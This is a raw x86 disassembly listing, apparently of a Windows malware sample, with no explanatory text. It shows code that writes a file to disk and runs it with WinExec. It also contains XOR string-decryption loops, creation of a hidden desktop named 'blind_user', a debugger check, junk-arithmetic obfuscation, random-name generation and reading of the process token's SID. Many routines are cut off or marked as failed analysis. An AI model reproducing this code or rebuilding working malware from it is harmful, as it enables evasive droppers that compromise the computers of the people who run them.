lea edi, [ebp+var_10FE]
push edi
push ebx
call sub_40C730 ; WriteFile
push ebx
call sub_40C55C ; CloseHandle
mov ebx, 5F3Bh
mov eax, ebx
add eax, ebx
mov ebx, eax
push 8
push offset aINvuni ; "ŽīŽ"
call sub_4040FC
add esp, 8
lea edi, [ebp+var_1201]
push edi
lea edi, [ebp+var_FF]
push edi
push eax
lea edi, [ebp+var_10FE]
push edi
call sub_40CA30
add esp, 10h
mov [ebp+var_1396], 0B7h
sub [ebp+var_1396], 77h
push 0
lea eax, [ebp+var_10FE]
push eax
call sub_40C724 ; WinExec
mov [ebp+var_1397], 22h
sub [ebp+var_1397], 6Ch
pop edi
pop esi
pop ebx
leave
retn
sub_404194 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 20Eh
push esi
push dword ptr [ebp+8]
mov eax, dword_441248
lea eax, ds:42FD00h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
mov dword ptr [ebp-8], 331h
xor edi, edi
jmp short loc_4044D6
; ---------------------------------------------------------------------------
loc_4044BC: ; CODE XREF: .text:004044D8j
mov eax, dword_441248
add eax, edi
lea eax, ds:42FD00h[eax]
movsx edx, byte ptr [eax]
xor edx, 8Fh
mov [eax], dl
inc edi
loc_4044D6: ; CODE XREF: .text:004044BAj
cmp edi, esi
jl short loc_4044BC
mov eax, dword_441248
add eax, esi
mov byte ptr ds:dword_42FD00[eax], 0
mov edi, dword_441248
inc dword_441248
mov eax, dword_441248
lea eax, [eax+esi+6]
mov dword_441248, eax
add dword_441248, 2
cmp dword_441248, 0DFDh
jle short loc_40451D
and dword_441248, 0
loc_40451D: ; CODE XREF: .text:00404514j
lea eax, dword_42FD00[edi]
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
sub_404525 proc near ; DATA XREF: sub_43E731+A6o
leave
retn
sub_404525 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404527 proc near ; CODE XREF: sub_4062CD+21Bp
; sub_408BE4+13Dp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
call sub_40C508 ; GetCurrentProcessId
cmp dword_44124C, 0
jz short loc_40456A
mov [ebp+var_C], 30A1h
inc [ebp+var_C]
call sub_40C514 ; GetCurrentThreadId
push eax
call sub_40C838 ; GetThreadDesktop
mov [ebp+var_10], eax
call sub_40C598 ; GetTickCount
mov eax, dword_44124C
cmp [ebp+var_10], eax
jnz short loc_40459E
xor eax, eax
inc eax
jmp short loc_4045B2
; ---------------------------------------------------------------------------
loc_40456A: ; CODE XREF: sub_404527+15j
push 0
push 0C7h
push 0
push 0
push 0
push offset aBlind_user ; "blind_user"
sub_404527 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40457C proc near ; DATA XREF: sub_43E731+E0o
call sub_40C820 ; CreateDesktopA
mov dword_44124C, eax
sub_40457C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404586 proc near ; DATA XREF: sub_43E731+476o
lea edi, [ebp-8]
lea esi, aK0iJ_0 ; " K0i=J "
movsd
movsd
cmp dword_44124C, 0
jnz short loc_40459E
xor eax, eax
jmp short loc_4045B2
; ---------------------------------------------------------------------------
loc_40459E: ; CODE XREF: sub_404527+3Cj
; sub_404586+12j
push dword_44124C
call sub_40C82C ; SetThreadDesktop
mov ebx, eax
call sub_40C5A4 ; GetVersion
mov eax, ebx
loc_4045B2: ; CODE XREF: sub_404527+41j
; sub_404586+16j
pop edi
pop esi
pop ebx
leave
retn
sub_404586 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4045B7 proc near ; CODE XREF: sub_4062CD+2A2p
; sub_408BE4+18Fp
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_40C508 ; GetCurrentProcessId
mov eax, [ebp+arg_0]
lea edx, aBlind_user ; "blind_user"
mov [eax+8], edx
mov [ebp+var_2], 294Bh
movzx eax, [ebp+var_2]
imul eax, 2277h
mov [ebp+var_2], ax
leave
retn
sub_4045B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4045E2 proc near ; CODE XREF: sub_404663+53p
; sub_404663+97p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+arg_4]
push esi
push [ebp+arg_0]
sub_4045E2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4045EF proc near ; DATA XREF: sub_43E731+4B8o
mov eax, dword_441260
lea eax, ds:416690h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
mov dword ptr [ebp-4], 249h
xor edi, edi
jmp short loc_404626
; ---------------------------------------------------------------------------
loc_40460F: ; CODE XREF: sub_4045EF+39j
mov eax, dword_441260
add eax, edi
lea eax, ds:416690h[eax]
movsx edx, byte ptr [eax]
xor edx, 6Ch
mov [eax], dl
inc edi
loc_404626: ; CODE XREF: sub_4045EF+1Ej
cmp edi, esi
jl short loc_40460F
mov eax, dword_441260
add eax, esi
mov byte ptr ds:dword_416690[eax], 0
mov edi, dword_441260
mov eax, edi
add eax, 6
add eax, esi
mov dword_441260, eax
cmp eax, 0DACh
jle short loc_404659
and dword_441260, 0
loc_404659: ; CODE XREF: sub_4045EF+61j
lea eax, dword_416690[edi]
pop edi
pop esi
leave
retn
sub_4045EF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404663 proc near ; CODE XREF: sub_405601+6DBp
; sub_405601+784p ...
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10A = byte ptr -10Ah
var_109 = dword ptr -109h
var_105 = byte ptr -105h
var_103 = byte ptr -103h
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
call sub_40C634 ; IsDebuggerPresent
push [ebp+arg_4]
push ebx
call sub_40CA54
add esp, 8
call sub_40C574 ; GetProcessHeap
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge loc_40476E
call sub_40C538 ; RtlGetLastWin32Error
mov [ebp+var_FF], 0
call sub_40C634 ; IsDebuggerPresent
push 3
push offset dword_446504
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
lea edi, [ebp+var_10A]
lea esi, aUng9Q ; "unG9 Q"
mov ecx, 7
rep movsb
mov [ebp+var_103], 0
jmp short loc_40473C
; ---------------------------------------------------------------------------
loc_4046E1: ; CODE XREF: sub_404663+E1j
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404735
push 4
push offset byte_4464FF
call sub_4045E2
mov [ebp+var_110], eax
call sub_40CA18
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
lea edi, [ebp+var_FF]
push edi
mov edi, [ebp+var_110]
push edi
lea edi, [ebp+var_FF]
push edi
call sub_40CA30
add esp, 18h
loc_404735: ; CODE XREF: sub_404663+8Ej
add [ebp+var_103], 1
loc_40473C: ; CODE XREF: sub_404663+7Cj
mov al, [ebp+var_103]
cmp al, 0Ah
jb short loc_4046E1
call sub_40C508 ; GetCurrentProcessId
lea eax, [ebp+var_FF]
push eax
push ebx
call sub_40CA54
push 3
push offset off_4464FB
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 18h
loc_40476E: ; CODE XREF: sub_404663+35j
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge loc_404855
mov eax, dword_44126B
mov [ebp+var_109], eax
push 10h
push offset word_4464EA
call sub_4045E2
mov [ebp+var_110], eax
call sub_40CA18
mov [ebp+var_114], eax
call sub_40CA18
mov [ebp+var_118], eax
call sub_40CA18
mov [ebp+var_11C], eax
call sub_40CA18
mov ecx, 0EA60h
cdq
idiv ecx
push edx
mov edi, [ebp+var_11C]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+var_118]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+var_114]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+var_110]
push edi
lea edi, [ebp+var_FF]
push edi
call sub_40CA30
mov word ptr [ebp-104h], 6A38h
add word ptr [ebp-104h], 2C92h
lea eax, [ebp+var_FF]
push eax
push ebx
call sub_40CA54
add esp, 28h
mov [ebp+var_105], 0BDh
add [ebp+var_105], 1
loc_404855: ; CODE XREF: sub_404663+11Bj
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge loc_404905
mov eax, dword_44126F
mov [ebp+var_109+3], eax
push 0Ah
sub_404663 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404878 proc near ; DATA XREF: sub_43E731+55Bo
push offset byte_4464DF
call sub_4045E2
mov [ebp-10Ch], eax
call sub_40CA18
mov [ebp-110h], eax
call sub_40CA18
mov [ebp-114h], eax
call sub_40CA18
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp-114h]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp-110h]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp-10Ch]
push edi
lea edi, [ebp-0FFh]
push edi
call sub_40CA30
call sub_40C5A4 ; GetVersion
lea eax, [ebp-0FFh]
push eax
push ebx
call sub_40CA54
add esp, 24h
loc_404905: ; CODE XREF: sub_404663+202j
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_40492D
push 2
push offset aAf ; "af"
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
loc_40492D: ; CODE XREF: sub_404878+9Dj
mov word ptr [ebp-102h], 140Ah
movzx eax, word ptr [ebp-102h] ; DATA XREF: sub_43E731+41Dr
imul eax, 5B3Bh
mov [ebp-102h], ax
pop edi
pop esi
pop ebx
leave
retn
sub_404878 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40494F proc near ; CODE XREF: sub_405601+19Fp
; sub_405601+1BDp ...
var_122 = dword ptr -122h
var_11E = word ptr -11Eh
var_105 = byte ptr -105h
var_104 = word ptr -104h
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 138h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov [ebp+var_104], 30D1h
movzx eax, [ebp+var_104]
imul eax, 4FD6h
mov [ebp+var_104], ax
push [ebp+arg_4]
push ebx
call sub_40CA54
add esp, 8
mov [ebp+var_105], 34h
sub [ebp+var_105], 75h
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge loc_404B75
mov eax, dword_441273
mov [ebp+var_122], eax
mov [ebp+var_FF], 0
mov [ebp+var_11E], 6E30h
movzx eax, [ebp+var_11E]
imul eax, 1271h
mov [ebp+var_11E], ax
push 5
push offset aPmaal ; "PMAAL"
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
sub_40494F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4049F0 proc near ; DATA XREF: sub_43E731+2Ao
mov byte ptr [ebp-11Bh], 0
jmp loc_404B3F
sub_4049F0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_404A38
loc_4049FC: ; CODE XREF: sub_404A38+10Fj
mov byte ptr [ebp-129h], 28h
sub byte ptr [ebp-129h], 0A9h
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404A5E
push 4
push offset byte_4464FF
call sub_4045E2
mov [ebp-130h], eax
call sub_40CA18
mov ecx, 1Ah
; END OF FUNCTION CHUNK FOR sub_404A38
; =============== S U B R O U T I N E =======================================
sub_404A38 proc near ; DATA XREF: sub_43F132+12o
; FUNCTION CHUNK AT 004049FC SIZE 0000003C BYTES
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
lea edi, [ebp-0FFh]
push edi
mov edi, [ebp-130h]
push edi
lea edi, [ebp-0FFh]
push edi
call sub_40CA30
add esp, 18h
loc_404A5E: ; CODE XREF: sub_404A38-1Ej
mov dword ptr [ebp-128h], 1B00h
mov eax, [ebp-128h]
mov edx, eax
add edx, eax
mov [ebp-128h], edx
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404ACC
push 4
push offset byte_4464FF
call sub_4045E2
mov [ebp-134h], eax
call sub_40CA18
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 41h
push edi
lea edi, [ebp-0FFh]
push edi
mov edi, [ebp-134h]
push edi
lea edi, [ebp-0FFh]
push edi
call sub_40CA30
add esp, 18h
loc_404ACC: ; CODE XREF: sub_404A38+50j
call sub_40C514 ; GetCurrentThreadId
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 7
jge short loc_404B25
push 4
push offset byte_4464FF
call sub_4045E2
mov [ebp-138h], eax
call sub_40CA18
mov ecx, 9
cdq
idiv ecx
mov edi, edx
add edi, 30h
push edi
lea edi, [ebp-0FFh]
push edi
mov edi, [ebp-138h]
push edi
lea edi, [ebp-0FFh]
push edi
call sub_40CA30
add esp, 18h
loc_404B25: ; CODE XREF: sub_404A38+A9j
lea edi, [ebp-12Ch]
lea esi, byte_441277
mov ecx, 3
rep movsb
add byte ptr [ebp-11Bh], 1
loc_404B3F: ; CODE XREF: sub_4049F0+7j
mov al, [ebp-11Bh]
cmp al, 0Ah
jb loc_4049FC
lea eax, [ebp-0FFh]
push eax
push ebx
call sub_40CA54
call sub_40C538 ; RtlGetLastWin32Error
push 4
push offset aAarl ; "AARL"
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 18h
loc_404B75: ; CODE XREF: sub_40494F+56j
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
sub_404A38 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404B85 proc near ; DATA XREF: .data:0043F38Eo
; .data:0043F3B5o ...
jge loc_404CFD
call sub_40C574 ; GetProcessHeap
mov byte ptr [ebp-0FFh], 0
call sub_40C574 ; GetProcessHeap
mov byte ptr [ebp-11Bh], 0
jmp loc_404CD1
; ---------------------------------------------------------------------------
loc_404BA8: ; CODE XREF: sub_404B85+154j
call sub_40C538 ; RtlGetLastWin32Error
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 4
jge short loc_404C01
push 4
push offset byte_4464FF
call sub_4045E2
mov [ebp-12Ch], eax
call sub_40CA18
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
lea edi, [ebp-0FFh]
push edi
mov edi, [ebp-12Ch]
push edi
lea edi, [ebp-0FFh]
push edi
call sub_40CA30
add esp, 18h
loc_404C01: ; CODE XREF: sub_404B85+38j
mov eax, dword_44127A
mov [ebp-127h], eax
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 4
jge short loc_404C60
push 4
push offset byte_4464FF
call sub_4045E2
mov [ebp-130h], eax
call sub_40CA18
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 41h
push edi
lea edi, [ebp-0FFh]
push edi
mov edi, [ebp-130h]
push edi
lea edi, [ebp-0FFh]
push edi
call sub_40CA30
add esp, 18h
loc_404C60: ; CODE XREF: sub_404B85+97j
lea edi, [ebp-128h]
lea esi, byte_44127E
xor ecx, ecx
inc ecx
rep movsb
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 3
jge short loc_404CC5
push 4
push offset byte_4464FF
call sub_4045E2
mov [ebp-134h], eax
call sub_40CA18
mov ecx, 9
cdq
idiv ecx
mov edi, edx
add edi, 30h
push edi
lea edi, [ebp-0FFh]
push edi
mov edi, [ebp-134h]
push edi
lea edi, [ebp-0FFh]
push edi
call sub_40CA30
add esp, 18h
loc_404CC5: ; CODE XREF: sub_404B85+FCj
call sub_40C508 ; GetCurrentProcessId
add byte ptr [ebp-11Bh], 1
loc_404CD1: ; CODE XREF: sub_404B85+1Ej
mov al, [ebp-11Bh]
cmp al, 32h
jb loc_404BA8
lea eax, [ebp-0FFh]
push eax
push ebx
call sub_40CA54
add esp, 8
lea edi, [ebp-123h]
lea esi, aC6kP9 ; "C6k|P=9"
movsd
movsd
loc_404CFD: ; CODE XREF: sub_404B85j
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short sub_404D25
push 4
push offset dword_4464CC
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
sub_404B85 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404D25 proc near ; CODE XREF: sub_404B85+188j
; DATA XREF: .data:0043F01Do ...
call sub_40C598 ; GetTickCount
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404D52
sub_404D25 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404D3C proc near ; DATA XREF: .data:0043EF74o
push 3
push offset dword_4464C8
call sub_4045E2
push eax
sub_404D3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404D49 proc near ; DATA XREF: .data:0043EF1Ao
push ebx
call sub_40CA54
add esp, 10h
loc_404D52: ; CODE XREF: sub_404D25+15j
mov byte ptr [ebp-106h], 0D0h
movzx eax, byte ptr [ebp-106h]
imul eax, 7F98h
mov [ebp-106h], al
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404D94
push 3
push offset dword_4464C4
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
loc_404D94: ; CODE XREF: sub_404D49+33j
lea edi, [ebp-10Ch]
lea esi, a04Ku ; "04 kU"
mov ecx, 3
rep movsw
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404DD0
push 3
push offset dword_4464C0
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
loc_404DD0: ; CODE XREF: sub_404D49+6Fj
call sub_40C574 ; GetProcessHeap
call sub_40CA18
mov ecx, 0Ah
sub_404D49 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404DDF proc near ; DATA XREF: .data:0043E3F0o
cdq
idiv ecx
cmp edx, 5
sub_404DDF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404DE5 proc near ; DATA XREF: sub_43E245:loc_43E2AAo
jge short loc_404DFD
push 4
push offset byte_4464BB
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
loc_404DFD: ; CODE XREF: sub_404DE5j
mov word ptr [ebp-102h], 342h
movzx eax, word ptr [ebp-102h]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp-102h], ax
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404E42
push 4
push offset word_4464B6
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
loc_404E42: ; CODE XREF: sub_404DE5+45j
mov ax, word_44128D
mov [ebp-10Eh], ax
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404E77
push 4
push offset byte_4464B1
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
loc_404E77: ; CODE XREF: sub_404DE5+7Aj
lea edi, [ebp-113h]
lea esi, aVpa1 ; "PA1"
mov ecx, 5
rep movsb
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404EB2
push 7
push offset byte_4464A9
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
loc_404EB2: ; CODE XREF: sub_404DE5+B5j
lea edi, [ebp-118h]
lea esi, a@0y ; "@0Y "
mov ecx, 5
rep movsb
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404EED
push 8
push offset dword_4464A0
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
loc_404EED: ; CODE XREF: sub_404DE5+F0j
mov ax, word_441299
mov [ebp-11Ah], ax
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404F22
push 9
push offset word_446496
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
loc_404F22: ; CODE XREF: sub_404DE5+125j
call sub_40CA18
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404F4A
push 2
push offset aAf ; "af"
call sub_4045E2
push eax
push ebx
call sub_40CA54
add esp, 10h
loc_404F4A: ; CODE XREF: sub_404DE5+14Dj
pop edi
pop esi
pop ebx
leave
retn
sub_404DE5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F4F proc near ; CODE XREF: sub_404FEF+64p
; sub_404FEF+A6p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+arg_4]
mov [ebp+var_4], 138h
push esi
push [ebp+arg_0]
mov eax, dword_4412A4
lea eax, ds:435040h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_404F94
; ---------------------------------------------------------------------------
loc_404F7D: ; CODE XREF: sub_404F4F+47j
mov eax, dword_4412A4
add eax, edi
lea eax, ds:435040h[eax]
movsx edx, byte ptr [eax]
xor edx, 31h
mov [eax], dl
inc edi
loc_404F94: ; CODE XREF: sub_404F4F+2Cj
cmp edi, esi
jl short loc_404F7D
mov eax, dword_4412A4
add eax, esi
mov byte ptr ds:dword_435040[eax], 0
xor edi, edi
mov edi, dword_4412A4
inc dword_4412A4
mov eax, dword_4412A4
add eax, 3
add eax, esi
mov dword_4412A4, eax
add dword_4412A4, 2
cmp dword_4412A4, 0DCBh
jle short loc_404FDE
and dword_4412A4, 0
loc_404FDE: ; CODE XREF: sub_404F4F+86j
mov [ebp+var_8], 199h
lea eax, dword_435040[edi]
pop edi
pop esi
leave
retn
sub_404F4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404FEF proc near ; CODE XREF: sub_40518F+A5p
var_2C = dword ptr -2Ch
var_25 = byte ptr -25h
var_24 = dword ptr -24h
var_1F = word ptr -1Fh
var_1D = dword ptr -1Dh
var_19 = byte ptr -19h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea edi, [ebp+var_19]
lea esi, aU ; ":U*~"
mov ecx, 5
rep movsb
call sub_40C508 ; GetCurrentProcessId
xor ebx, ebx
inc ebx
push [ebp+arg_0]
call sub_40C97C ; GetSidIdentifierAuthority
mov [ebp+var_14], eax
mov eax, dword_4412AD
mov [ebp+var_1D], eax
push [ebp+arg_0]
call sub_40C994 ; GetSidSubAuthorityCount
movzx edi, byte ptr [eax]
mov [ebp+var_10], edi
call sub_40C514 ; GetCurrentThreadId
mov eax, 0Ch
mul [ebp+var_10]
mov [ebp+var_24], eax
add eax, 1Ch
mov [ebp+var_C], eax
call sub_40C634 ; IsDebuggerPresent
push 6
push offset byte_44648F
call sub_404F4F
push ebx
push eax
push [ebp+arg_4]
call sub_40C868 ; wsprintfA
add esp, 14h
mov [ebp+var_C], eax
mov ax, word_4412B1
mov [ebp+var_1F], ax
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov eax, [ebp+var_14]
cmp byte ptr [eax], 0
jnz short loc_405089
cmp byte ptr [eax+1], 0
jz short loc_4050E7
loc_405089: ; CODE XREF: sub_404FEF+92j
call sub_40C574 ; GetProcessHeap
push 20h
push offset word_44646E
call sub_404F4F
mov edi, [ebp+var_14]
movzx esi, byte ptr [edi+5]
movzx esi, si
push esi
movzx esi, byte ptr [edi+4]
movzx esi, si
push esi
movzx esi, byte ptr [edi+3]
movzx esi, si
push esi
movzx esi, byte ptr [edi+2]
movzx esi, si
push esi
movzx esi, byte ptr [edi+1]
movzx esi, si
push esi
movzx edi, byte ptr [edi]
movzx edi, di
push edi
push eax
push [ebp+var_8]
call sub_40C868 ; wsprintfA
add esp, 28h
mov ebx, eax
add [ebp+var_C], ebx
mov eax, ebx
add eax, [ebp+var_8]
mov [ebp+var_8], eax
jmp short loc_405139
; ---------------------------------------------------------------------------
loc_4050E7: ; CODE XREF: sub_404FEF+98j
call sub_40C508 ; GetCurrentProcessId
push 3
push offset off_44646A
call sub_404F4F
mov edi, [ebp+var_14]
movzx esi, byte ptr [edi+5]
movzx edx, byte ptr [edi+4]
shl edx, 8
add esi, edx
movzx edx, byte ptr [edi+3]
shl edx, 10h
add esi, edx
movzx edi, byte ptr [edi+2]
shl edi, 18h
add esi, edi
push esi
push eax
push [ebp+var_8]
call sub_40C868 ; wsprintfA
add esp, 14h
mov ebx, eax
call sub_40C634 ; IsDebuggerPresent
add [ebp+var_C], ebx
mov eax, ebx
add eax, [ebp+var_8]
mov [ebp+var_8], eax
loc_405139: ; CODE XREF: sub_404FEF+F6j
and [ebp+var_4], 0
jmp short loc_405182
; ---------------------------------------------------------------------------
loc_40513F: ; CODE XREF: sub_404FEF+199j
mov [ebp+var_25], 81h
add [ebp+var_25], 0F0h
push 4
push offset byte_446465
call sub_404F4F
mov [ebp+var_2C], eax
push [ebp+var_4]
push [ebp+arg_0]
call sub_40C988 ; GetSidSubAuthority
push dword ptr [eax]
mov edi, [ebp+var_2C]
push edi
push [ebp+var_8]
call sub_40C868 ; wsprintfA
add esp, 14h
mov ebx, eax
add [ebp+var_C], ebx
mov eax, ebx
add eax, [ebp+var_8]
mov [ebp+var_8], eax
inc [ebp+var_4]
loc_405182: ; CODE XREF: sub_404FEF+14Ej
mov eax, [ebp+var_10]
cmp [ebp+var_4], eax
jb short loc_40513F
pop edi
pop esi
pop ebx
leave
retn
sub_404FEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40518F proc near ; CODE XREF: sub_405F79+218p
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
call sub_40C514 ; GetCurrentThreadId
call sub_40C508 ; GetCurrentProcessId
mov [ebp+var_10], eax
call sub_40C508 ; GetCurrentProcessId
push [ebp+var_10]
push 0
push 1F0FFFh
call sub_40C670 ; OpenProcess
mov ebx, eax
lea eax, [ebp+var_4]
push eax
push 0F00FFh
push ebx
call sub_40C904 ; OpenProcessToken
mov [ebp+var_8], 2A34h
add [ebp+var_8], 17B3h
push ebx
call sub_40C55C ; CloseHandle
lea edi, [ebp+var_11]
lea esi, byte_4412B3
xor ecx, ecx
inc ecx
rep movsb
mov eax, dword_4412A0
add eax, 3FF5h
push eax
push 40h
call sub_40C64C ; LocalAlloc
mov ebx, eax
mov [ebp+var_C], 2D3Bh
mov eax, 2E30h
mul [ebp+var_C]
mov [ebp+var_1C], eax
mov [ebp+var_C], eax
lea eax, [ebp+var_18]
push eax
mov eax, dword_44129C
add eax, 4000h
push eax
push ebx
push 1
push [ebp+var_4]
call sub_40C910 ; GetTokenInformation
push [ebp+arg_0]
push dword ptr [ebx]
call sub_404FEF
add esp, 8
call sub_40C508 ; GetCurrentProcessId
push ebx
call sub_40C658 ; LocalFree
push [ebp+var_4]
call sub_40C55C ; DATA XREF: sub_43F53Dr
pop edi
loc_405250: ; DATA XREF: sub_43F549r
pop esi
pop ebx
leave
retn
sub_40518F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405254 proc near ; CODE XREF: sub_4053A1+3Ep
; sub_4053A1+ADp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch ; DATA XREF: sub_43F561r
push esi
push edi
loc_40525C: ; DATA XREF: sub_43F56Dr
mov esi, [ebp+arg_4]
mov [ebp+var_4], 2 ; DATA XREF: sub_43F579r sub_43F585r
push esi
push [ebp+arg_0] ; DATA XREF: sub_43F591r
mov eax, dword_4412BC ; DATA XREF: sub_43F59Dr
lea eax, ds:418710h[eax] ; DATA XREF: sub_43F5A9r
; sub_43F5B5r
push eax
call sub_40C9F4 ; DATA XREF: sub_43F5C1r
loc_40527C: ; DATA XREF: sub_43F5CDr
add esp, 0Ch
xor edi, edi ; DATA XREF: sub_43F5D9r
jmp short loc_40529A
; ---------------------------------------------------------------------------
loc_405283: ; CODE XREF: sub_405254:loc_40529Cj
; DATA XREF: sub_43F5E5r
mov eax, dword_4412BC
add eax, edi
lea eax, ds:418710h[eax] ; DATA XREF: sub_43F5F1r
movsx edx, byte ptr [eax]
xor edx, 2Ch
mov [eax], dl
inc edi
